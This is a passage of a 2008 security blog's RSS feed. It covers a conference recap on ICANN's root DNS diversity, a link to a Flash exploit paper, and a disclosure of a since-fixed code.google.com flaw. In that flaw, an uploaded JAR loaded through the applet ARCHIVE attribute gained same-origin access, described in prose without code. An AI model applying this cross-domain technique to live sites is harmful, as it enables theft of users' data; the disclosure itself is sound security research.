<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;">The conference was VERY academic… which I love.<span style="mso-spacerun: yes;">  </span>Academics present with an eye to the future so I listened as PHD candidates talked about securing nano networks, sensor based wifi networks and a slew of other topics… Academics also seem to have an boldness and fearless approach to the topics they present, which I admire…</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;">While I enjoyed most of the talks I attended, there was one that perked the ears of the blackhat in me.<span style="mso-spacerun: yes;">  </span>John Crain of ICANN gave a talk on “Securing the Internet Infrastructure: Myths and Truths”.<span style="mso-spacerun: yes;">  </span>If you don’t know, ICANN basically owns the root DNS servers that the world relies on everyday.<span style="mso-spacerun: yes;">  </span>He gave a great explanation of how ICANN goes about creating a heterogeneous ecosystem of DNS servers.<span style="mso-spacerun: yes;">  </span>These DNS servers use multiple versions and types of DNS software, multiple versions and types of operating systems, and <span style="mso-spacerun: yes;"> </span>even go so far as to use various pieces of hardware and processors.<span style="mso-spacerun: yes;">  </span>The reasoning behind this logic is… if a vulnerability is discovered in a particular piece of software (or hardware) is discovered, it would only affect a small part of the entire root DNS ecosystem, whose load could be transferred to another.<span style="mso-spacerun: yes;">  </span>It’s an interesting approach indeed.<span style="mso-spacerun: yes;">  </span>After the talk, someone asked me why enterprises/corporations don’t adopt a similar strategy.<span style="mso-spacerun: yes;">  </span>I thought about it some and I don’t think this approach could enterprise environment… here’s why (other than the obvious costs and ungodly administration requirements):</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"> </p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;">ICANNs interest is primarily based on preventing hackers from modifying a 45k text file (yes the root for the Internet is a ~45k text file).<span style="mso-spacerun: yes;">  </span>Now, if a hacker happens to break into a root DNS server and modifies the file, ICANN can disable the hacked system, restore the file and go about their business.<span style="mso-spacerun: yes;">  </span>As long as ICANN has a “good” system up somewhere, they can push all their traffic to that system.<span style="mso-spacerun: yes;">  </span>Businesses on the other hand, aren’t not primarily interested in preventing the modification of data (not yet at least), they are more interested in preventing the pilfering of data.<span style="mso-spacerun: yes;">  </span>So if you own a network of a million different configurations, a vulnerability in any one of those configurations could allow an attacker to steal your data.<span style="mso-spacerun: yes;">  </span>Once the hacker has stolen your data, what does it matter that the 999,999 other systems are unhacked? </span><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;">This brings up the heart of the argument, should we be worried about our systems being compromised or should we be worried about our data being stolen?<span style="mso-spacerun: yes;">  </span>These are actually two different problems as I don’t necessarily have to compromise your system to steal your data…</span><span style="font-size: small;"> </span></p>
<p></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/06/14/3rd-annual-symposium-on-information-assurance/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mark Dowd scares me&#8230;.</title>
		<link>http://xs-sniper.com/blog/2008/04/15/mark-dowd-scares-me/</link>
		<comments>http://xs-sniper.com/blog/2008/04/15/mark-dowd-scares-me/#comments</comments>
		<pubDate>Wed, 16 Apr 2008 05:37:44 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[Mass Pwnage]]></category>
		<category><![CDATA[NULL Pointer]]></category>
		<category><![CDATA[OMFG]]></category>
		<category><![CDATA[pwnage]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2008/04/15/mark-dowd-scares-me/</guid>
		<description><![CDATA[If you haven&#8217;t heard yet, Mark Dowd chopped up a Flash vulnerability ninja style and released a 25 page whitepaper describing his attack.  It&#8217;s truly a work of art and can be found here. &#60;pdf&#62;      I&#8217;m not even going to attempt to describe any portion of this attack (just thinking about it makes my [...]]]></description>
			<content:encoded><![CDATA[<p>If you haven&#8217;t heard yet, Mark Dowd chopped up a Flash vulnerability ninja style and released a 25 page whitepaper describing his attack.  It&#8217;s truly a work of art and can be found here. <em><a target="_blank" href="http://documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf" title="Mass Pwnage">&lt;pdf&gt;</a></em></p>
<p>    </p>
<p>I&#8217;m not even going to attempt to describe any portion of this attack (just thinking about it makes my head hurt), but Thomas Ptacek from Matasano has a great writeup <em><a target="_blank" href="http://www.matasano.com/log/1032/this-new-vulnerability-dowds-inhuman-flash-exploit/" title="Matasano">&lt;writeup&gt;</a></em></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/04/15/mark-dowd-scares-me/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Insecure Content Ownership</title>
		<link>http://xs-sniper.com/blog/2008/04/04/insecure-content-ownership/</link>
		<comments>http://xs-sniper.com/blog/2008/04/04/insecure-content-ownership/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 08:12:09 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2008/04/04/insecure-content-ownership/</guid>
		<description><![CDATA[Taking ownership of someone else’s content is always a tricky deal.  Nate McFeters and I spoke about some of the issues related to taking “ownership” of someone else’s content last year at Defcon, but we continue to see more and more places willingly accepting third party content and happily serving it from their domain.  I [...]]]></description>
			<content:encoded><![CDATA[<p>Taking ownership of someone else’s content is always a tricky deal.  Nate McFeters and I spoke about some of the issues related to taking “ownership” of someone else’s content <a target="_blank" href="http://www.defcon.org/html/defcon-15/dc-15-speakers.html#Rios" title="Defcon 15">last year at Defcon</a>, but we continue to see more and more places willingly accepting third party content and happily serving it from their domain.  I came across an interesting cross domain issue based on content ownership that involved Google.  Google has fixed the issue, but I thought the issue was interesting so I’ll share the details… but before I do… I wanted to mention the efforts put forth by the Google Security Team (GST).  Fixing this issue was not trivial… it involved significant changes as to how content was served from Google servers.  Needless to say, the GST moved quickly and the issue was fixed in an amazingly expedient and effective manner… KUDOS to the GST!</p>
<p>    </p>
<p>On to the issue:<br />
I discovered that users could upload arbitrary files to the code.google.com domain by attaching a file to the &#8220;issues&#8221; portion of a project.  The uploaded file is then served from the code.google.com domain.  Normally, these types of attacks would make use of the Flash cross domain policy file and the <a target="_blank" href="http://livedocs.adobe.com/flash/mx2004/main_7_2/00001098.html" title="loadPolicyFile">System.security.loadPolicyFile() </a>API, however due to the unique path of each project, the cross domain capabilities of Flash are very limited in this instance as policy files loaded via loadPolicyFile() are “<em>limited to locations at or below its own level in the server&#8217;s hierarchy</em>”. </p>
<p>    </p>
<p><a target="_blank" href="http://xs-sniper.com/blog/wp-content/uploads/2008/04/addressbar.JPG" title="Address Bar"><img border="0" width="448" src="http://xs-sniper.com/blog/wp-content/uploads/2008/04/addressbar.JPG" alt="Address Bar" height="35" /></a></p>
<p>     <br />
Flash isn&#8217;t the only option here though.  Java has a <a target="_blank" href="http://java.sun.com/sfaq/#socket" title="Java Socket Policy">different security policy </a>and uploading a Java class file to the code.google.com domain gives me access to the entire domain, as opposed to only certain folders and sub folders. </p>
<p>    </p>
<p>Sounds pretty straight forward huh?  Well, I ran into some issues as the JVM encodes certain characters in its requests for class files made via the CODE attribute within APPLET tags.  After poking around a bit, I realized that requests made via the ARCHIVE would be sent as is, without the encoding of special characters.  With this newfound knowledge in hand, I created a JAR file with my class file within it and uploaded it to code.google.com.</p>
<p>      </p>
<p><a target="_blank" href="http://xs-sniper.com/blog/wp-content/uploads/2008/04/issues-upload.JPG" title="Upload"><img border="0" width="457" src="http://xs-sniper.com/blog/wp-content/uploads/2008/04/issues-upload.JPG" alt="Issues Upload" height="401" /></a></p>
<p>    </p>
<p>Now, <a target="_blank" href="http://www.w3.org/TR/html401/struct/objects.html#h-13.4" title="APPLET">the CODE attribute is a required attribute within the APPLET tag</a>, so I specified name of the class file I placed within the JAR file.  When the APPLET tag is rendered, the JVM first downloads the JAR file specified in the ARCHIVE attribute, the JVM then makes the request for the class file specified in the CODE attribute.  In this instance, the request for the class file specified in the CODE attribute will fail as the class file is not on the code.google.com server (even if it was, we wouldn’t be able to reach it as requests made via the CODE attribute are encoded).  The failure to locate the class file causes the JVM to begin searching alternate locations for the requested class file and the JVM will eventually load a class file with the same name located inside of the JAR file&#8230;</p>
<p>    </p>
<p><a target="_blank" href="http://xs-sniper.com/blog/wp-content/uploads/2008/04/html.jpg" title="Applet Code"><img border="0" width="427" src="http://xs-sniper.com/blog/wp-content/uploads/2008/04/html.jpg" alt="Applet Code" height="31" /></a>  </p>
<p><a target="_blank" href="http://xs-sniper.com/blog/wp-content/uploads/2008/04/applet-code1.JPG" title="Applet Code"></a></p>
<p>    </p>
<p>Once the class file is loaded, the JVM will fire the init() method and Java&#8217;s Same Origin policy allows me to use the applet to communicate with the domain that served the applet class file (as opposed to the domain that hosts the HTML calling the APPLET tag).  Here’s a screenshot of the PoC page I was hosting on XS-Sniper.com. </p>
<p>     </p>
<p><a target="_blank" href="http://xs-sniper.com/blog/wp-content/uploads/2008/04/poc.JPG" title="PoC"><img border="0" width="432" src="http://xs-sniper.com/blog/wp-content/uploads/2008/04/poc.JPG" alt="Proof of Concept" height="324" /></a></p>
<p>    <br />
I don’t think there is a tool on the market today that even attempts to detect something like this and I’ve met many “security professionals” that have no idea that vulnerabilities like this even exist.  This isn’t the <a target="_blank" href="http://xs-sniper.com/blog/2007/09/26/google-docs-puts-google-users-at-risk/" title="Google Docs">first time </a>I’ve come across a cross domain hole based on content ownership.  I’m expecting we’ll see a lot more of these types of vulnerabilities in the future as cross domain capabilities becomes more prevalent in client side technologies and as content providers become more and more comfortable in taking ownership of others content.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/04/04/insecure-content-ownership/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>IE 8 Beta is Out!</title>
		<link>http://xs-sniper.com/blog/2008/03/06/ie-8-beta-is-out/</link>
		<comments>http://xs-sniper.com/blog/2008/03/06/ie-8-beta-is-out/#comments</comments>
		<pubDate>Thu, 06 Mar 2008 08:22:56 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[activities]]></category>
		<category><![CDATA[Browsers]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[new]]></category>
		<category><![CDATA[webslices]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2008/03/06/ie-8-beta-is-out/</guid>
		<description><![CDATA[The IE8 Beta is out.  You can grab beta 1 here.  I&#8217;m not going to comment on my thoughts on IE8 as I&#8217;m biased, but I&#8217;ve been playing around with some of the features and it&#8217;s actually pretty cool.        Probably one of the most interesting/most talked about features is the webslices and activities.  It&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>The IE8 Beta is out.  You can grab beta 1 <a target="_blank" href="http://www.microsoft.com/windows/products/winfamily/ie/ie8/readiness/Install.htm" title="IE8 Beta">here.</a>  I&#8217;m not going to comment on my thoughts on IE8 as I&#8217;m biased, but I&#8217;ve been playing around with some of the features and it&#8217;s actually pretty cool.  </p>
<p>    </p>
<p>Probably one of the most interesting/most talked about features is the webslices and activities.  It&#8217;s a little difficult to explain, but I think the video <a target="_blank" href="http://visitmix.com/blogs/Joshua/IE8-Activities-With-Jane-Kim/" title="Activities and Slices">here</a> does a pretty good job.</p>
<p>    </p>
<p>Happy Hunting!</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/03/06/ie-8-beta-is-out/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.683 seconds -->
